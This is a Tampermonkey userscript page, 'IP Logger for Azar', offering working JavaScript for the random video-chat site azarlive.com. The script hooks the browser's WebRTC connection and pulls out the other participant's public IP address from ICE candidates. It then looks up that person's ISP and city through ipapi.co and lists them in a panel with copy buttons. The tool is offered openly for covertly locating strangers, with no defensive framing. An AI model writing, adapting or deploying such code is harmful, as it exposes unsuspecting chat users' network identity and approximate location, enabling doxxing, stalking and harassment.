IP Logger for Azar

Get ip adress and some other information about Azar user

  1. // ==UserScript==
  2. // @name IP Logger for Azar
  3. // @namespace /
  4. // @version 1.0
  5. // @description Get ip adress and some other information about Azar user
  6. // @author MultiJump (for TamperMonkey integration) and Yannox (for script)
  7. // @match https://azarlive.com/*
  8. // @icon https://avatars.githubusercontent.com/u/42420419?s=48&v=4
  9. // @grant none
  10. // @license GNU GPLv3
  11. // ==/UserScript==
  12.  
  13. (function() {
  14. 'use strict';
  15.  
  16. (function() {
  17. // Create and style the container for displaying IP addresses
  18. const ipContainer = document.createElement('div');
  19. ipContainer.id = 'ip-container';
  20. ipContainer.style.position = 'fixed';
  21. ipContainer.style.top = '10px';
  22. ipContainer.style.right = '10px';
  23. ipContainer.style.width = '400px';
  24. ipContainer.style.maxHeight = '500px';
  25. ipContainer.style.overflowY = 'auto';
  26. ipContainer.style.backgroundColor = '#f7f9fc';
  27. ipContainer.style.border = '1px solid #ccc';
  28. ipContainer.style.borderRadius = '12px';
  29. ipContainer.style.padding = '20px';
  30. ipContainer.style.zIndex = '10000';
  31. ipContainer.style.fontFamily = 'Arial, sans-serif';
  32. ipContainer.style.fontSize = '14px';
  33. ipContainer.style.boxShadow = '0 4px 8px rgba(0, 0, 0, 0.1)';
  34. ipContainer.style.color = '#333';
  35. ipContainer.style.resize = 'both';
  36. ipContainer.style.overflow = 'auto';
  37. ipContainer.innerHTML = `
  38. <div id="drag-handle" style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; cursor: move;">
  39. <h3 style="margin: 0; color: #007bff;">Detected IP Addresses</h3>
  40. <button id="clear-ip-list" style="padding: 10px 15px; border: none; background-color: #dc3545; color: white; border-radius: 8px; cursor: pointer; transition: background-color 0.3s;">Clear</button>
  41. <button id="close-ip-container" style="padding: 10px 15px; border: none; background-color: #dc3545; color: white; border-radius: 8px; cursor: pointer; transition: background-color 0.3s;">X</button>
  42. </div>
  43. <div id="ip-addresses"></div>
  44. <div id="twitter-button" style="margin-top: 10px; text-align: center;">
  45. <a href="https://x.com/euphoncaca" target="_blank" style="display: inline-block; background-color: #1da1f2; color: white; padding: 10px 20px; text-decoration: none; font-weight: bold; border-radius: 8px; transition: background-color 0.3s;">Suivez-moi sur Twitter</a>
  46. </div>
  47. `;
  48. document.body.appendChild(ipContainer);
  49.  
  50. // Add event listener to clear button
  51. document.getElementById('clear-ip-list').addEventListener('click', () => {
  52. const ipList = document.getElementById('ip-addresses');
  53. ipList.innerHTML = '';
  54. });
  55.  
  56. // Add event listener to close button
  57. document.getElementById('close-ip-container').addEventListener('click', () => {
  58. document.body.removeChild(ipContainer);
  59. });
  60.  
  61. // Make the container draggable
  62. function makeDraggable(element, handle) {
  63. handle = handle || element;
  64. let posX = 0, posY = 0, mouseX = 0, mouseY = 0;
  65.  
  66. handle.onmousedown = dragMouseDown;
  67.  
  68. function dragMouseDown(e) {
  69. e.preventDefault();
  70. mouseX = e.clientX;
  71. mouseY = e.clientY;
  72. document.onmouseup = closeDragElement;
  73. document.onmousemove = elementDrag;
  74. }
  75.  
  76. function elementDrag(e) {
  77. e.preventDefault();
  78. posX = mouseX - e.clientX;
  79. posY = mouseY - e.clientY;
  80. mouseX = e.clientX;
  81. mouseY = e.clientY;
  82. element.style.top = (element.offsetTop - posY) + "px";
  83. element.style.left = (element.offsetLeft - posX) + "px";
  84. }
  85.  
  86. function closeDragElement() {
  87. document.onmouseup = null;
  88. document.onmousemove = null;
  89. }
  90. }
  91.  
  92. makeDraggable(ipContainer, document.getElementById('drag-handle'));
  93.  
  94. window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection;
  95.  
  96. window.RTCPeerConnection = function(...args) {
  97. const pc = new window.oRTCPeerConnection(...args);
  98.  
  99. pc.oaddIceCandidate = pc.addIceCandidate;
  100.  
  101. pc.addIceCandidate = function(iceCandidate, ...rest) {
  102. const fields = iceCandidate.candidate.split(' ');
  103.  
  104. if (fields[7] === 'srflx') {
  105. const ipAddress = fields[4];
  106. const currentTime = new Date().toLocaleTimeString();
  107. console.group('Detected IP Address');
  108. console.log('IP Address:', ipAddress);
  109. console.groupEnd();
  110.  
  111. // Fetch ISP and city information without API key
  112. fetch(`https://ipapi.co/${ipAddress}/json/`)
  113. .then(response => response.json())
  114. .then(data => {
  115. const ispInfo = data.org || 'Unknown ISP';
  116. const cityInfo = data.city || 'Unknown City';
  117. const ipList = document.getElementById('ip-addresses');
  118. const ipItem = document.createElement('div');
  119. ipItem.className = 'ip-item';
  120. ipItem.style.display = 'flex';
  121. ipItem.style.flexDirection = 'column';
  122. ipItem.style.backgroundColor = '#ffffff';
  123. ipItem.style.border = '1px solid #ddd';
  124. ipItem.style.padding = '15px';
  125. ipItem.style.marginBottom = '10px';
  126. ipItem.style.borderRadius = '8px';
  127. ipItem.style.boxShadow = '0 2px 4px rgba(0, 0, 0, 0.1)';
  128. ipItem.style.transition = 'transform 0.2s, box-shadow 0.2s';
  129. ipItem.style.cursor = 'pointer';
  130. ipItem.onmouseover = function() {
  131. ipItem.style.transform = 'scale(1.02)';
  132. ipItem.style.boxShadow = '0 4px 8px rgba(0, 0, 0, 0.15)';
  133. };
  134. ipItem.onmouseout = function() {
  135. ipItem.style.transform = 'scale(1)';
  136. ipItem.style.boxShadow = '0 2px 4px rgba(0, 0, 0, 0.1)';
  137. };
  138. ipItem.innerHTML = `
  139. <span><strong>Time:</strong> ${currentTime}</span>
  140. <span><strong>IP Address:</strong> ${ipAddress}</span>
  141. <span><strong>ISP:</strong> ${ispInfo}</span>
  142. <span><strong>City:</strong> ${cityInfo}</span>
  143. <button style="margin-top: 10px; padding: 10px 15px; border: none; background-color: #007bff; color: white; border-radius: 8px; cursor: pointer; transition: background-color 0.3s;">Copy</button>
  144. `;
  145. ipList.appendChild(ipItem);
  146.  
  147. // Add copy functionality to the button
  148. const copyButton = ipItem.querySelector('button');
  149. copyButton.addEventListener('click', () => {
  150. navigator.clipboard.writeText(ipAddress).then(() => {
  151. copyButton.textContent = 'Copied!';
  152. copyButton.style.backgroundColor = '#28a745';
  153. setTimeout(() => {
  154. copyButton.textContent = 'Copy';
  155. copyButton.style.backgroundColor = '#007bff';
  156. }, 2000);
  157. });
  158. });
  159. })
  160. .catch(error => console.error('Error fetching ISP and city information:', error));
  161. }
  162.  
  163. return pc.oaddIceCandidate(iceCandidate, ...rest);
  164. }
  165.  
  166. return pc;
  167. }
  168. })();
  169. })();